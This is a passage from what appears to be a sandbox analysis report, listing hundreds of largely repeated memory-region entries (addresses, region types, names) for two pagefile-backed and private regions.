start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8681 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8682 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8683 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8684 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8685 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8686 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8687 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8688 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8689 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8690 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8691 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8692 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8693 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8694 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8695 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8696 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8697 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8698 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8699 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8700 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8701 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8702 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8703 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8704 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8705 start_va = 0x2d80000 end_va = 0x2d8ffff entry_point = 0x0 region_type = private name = "private_0x0000000002d80000" filename = "" Region: id = 8706 start_va = 0x3ee0000 end_va = 0x3ee8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003ee0000" filename = "" Region: id = 8707 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8708 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8709 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8710 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8711 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8712 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8713 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8714 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8715 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8716 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8717 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8718 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8719 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8720 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8721 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8722 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8723 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8724 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8725 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8726 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8727 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8728 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8729 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8730 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8731 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8732 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8733 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8734 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8735 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8736 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8737 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8738 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8739 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8740 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8741 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8742 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8743 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8744 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8745 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8746 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8747 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8748 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8749 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8750 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8751 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8752 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8753 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8754 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8755 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8756 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8757 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8758 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8759 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8760 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8761 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8762 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8763 start_va = 0x3ee0000 end_va = 0x3ee8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003ee0000" filename = "" Region: id = 8764 start_va = 0x3ee0000 end_va = 0x3ee8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003ee0000" filename = "" Region: id = 8765 start_va = 0x3ee0000 end_va = 0x3ee8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003ee0000" filename = "" Region: id = 8766 start_va = 0x3ee0000 end_va = 0x3ee8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003ee0000" filename = "" Region: id = 8767 start_va = 0x3ee0000 end_va = 0x3ee8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003ee0000" filename = "" Region: id = 8768 start_va = 0x3ee0000 end_va = 0x3ee8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003ee0000" filename = "" Region: id = 8769 start_va = 0x3ee0000 end_va = 0x3ee8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003ee0000" filename = "" Region: id = 8770 start_va = 0x3ee0000 end_va = 0x3ee8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003ee0000" filename = "" Region: id = 8771 start_va = 0x3ee0000 end_va = 0x3ee8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003ee0000" filename = "" Region: id = 8772 start_va = 0x3ee0000 end_va = 0x3ee8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003ee0000" filename = "" Region: id = 8773 start_va = 0x3ee0000 end_va = 0x3ee8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003ee0000" filename = "" Region: id = 8774 start_va = 0x3ee0000 end_va = 0x3ee8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003ee0000" filename = "" Region: id = 8775 start_va = 0x3ee0000 end_va = 0x3ee8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003ee0000" filename = "" Region: id = 8776 start_va = 0x3ee0000 end_va = 0x3ee8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003ee0000" filename = "" Region: id = 8777 start_va = 0x3ee0000 end_va = 0x3ee8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003ee0000" filename = "" Region: id = 8778 start_va = 0x3ee0000 end_va = 0x3ee8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003ee0000" filename = "" Region: id = 8779 start_va = 0x3ee0000 end_va = 0x3ee8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003ee0000" filename = "" Region: id = 8780 start_va = 0x3ee0000 end_va = 0x3ee8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003ee0000" filename = "" Region: id = 8781 start_va = 0x3ee0000 end_va = 0x3ee8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003ee0000" filename = "" Region: id = 8782 start_va = 0x3ee0000 end_va = 0x3ee8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003ee0000" filename = "" Region: id = 8783 start_va = 0x3ee0000 end_va = 0x3ee8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003ee0000" filename = "" Region: id = 8784 start_va = 0x3ee0000 end_va = 0x3ee8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003ee0000" filename = "" Region: id = 8785 start_va = 0x3ee0000 end_va = 0x3ee8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003ee0000" filename = "" Region: id = 8786 start_va = 0x3ee0000 end_va = 0x3ee8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003ee0000" filename = "" Region: id = 8787 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8788 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8789 start_va = 0x2d80000 end_va = 0x2d8ffff entry_point = 0x0 region_type = private name = "private_0x0000000002d80000" filename = "" Region: id = 8790 start_va = 0x3ee0000 end_va = 0x3ee3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003ee0000" filename = "" Region: id = 8791 start_va = 0x2d80000 end_va = 0x2d83fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8792 start_va = 0x2d80000 end_va = 0x2d8ffff entry_point = 0x0 region_type = private name = "private_0x0000000002d80000" filename = "" Region: id = 8793 start_va = 0x3ee0000 end_va = 0x3ee8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003ee0000" filename = "" Region: id = 8794 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8795 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8796 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8797 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8798 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8799 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8800 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8801 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8802 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8803 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8804 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8805 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8806 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8807 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8808 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8809 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8810 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8811 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8812 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8813 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8814 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8815 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8816 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8817 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8818 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8819 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8820 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8821 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8822 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8823 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8824 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8825 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8826 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8827 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8828 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8829 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8830 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8831 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8832 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8833 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8834 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8835 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8836 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8837 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8838 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8839 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8840 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8841 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8842 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8843 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8844 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8845 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8846 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8847 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8848 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8849 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8850 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8851 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8852 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8853 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8854 start_va = 0x2d80000 end_va = 0x2d8ffff entry_point = 0x0 region_type = private name = "private_0x0000000002d80000" filename = "" Region: id = 8855 start_va = 0x3ee0000 end_va = 0x3ee8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003ee0000" filename = "" Region: id = 8856 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8857 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8858 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8859 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8860 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8861 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8862 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8863 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8864 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8865 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8866 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8867 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8868 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8869 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8870 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8871 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8872 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8873 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8874 start_va = 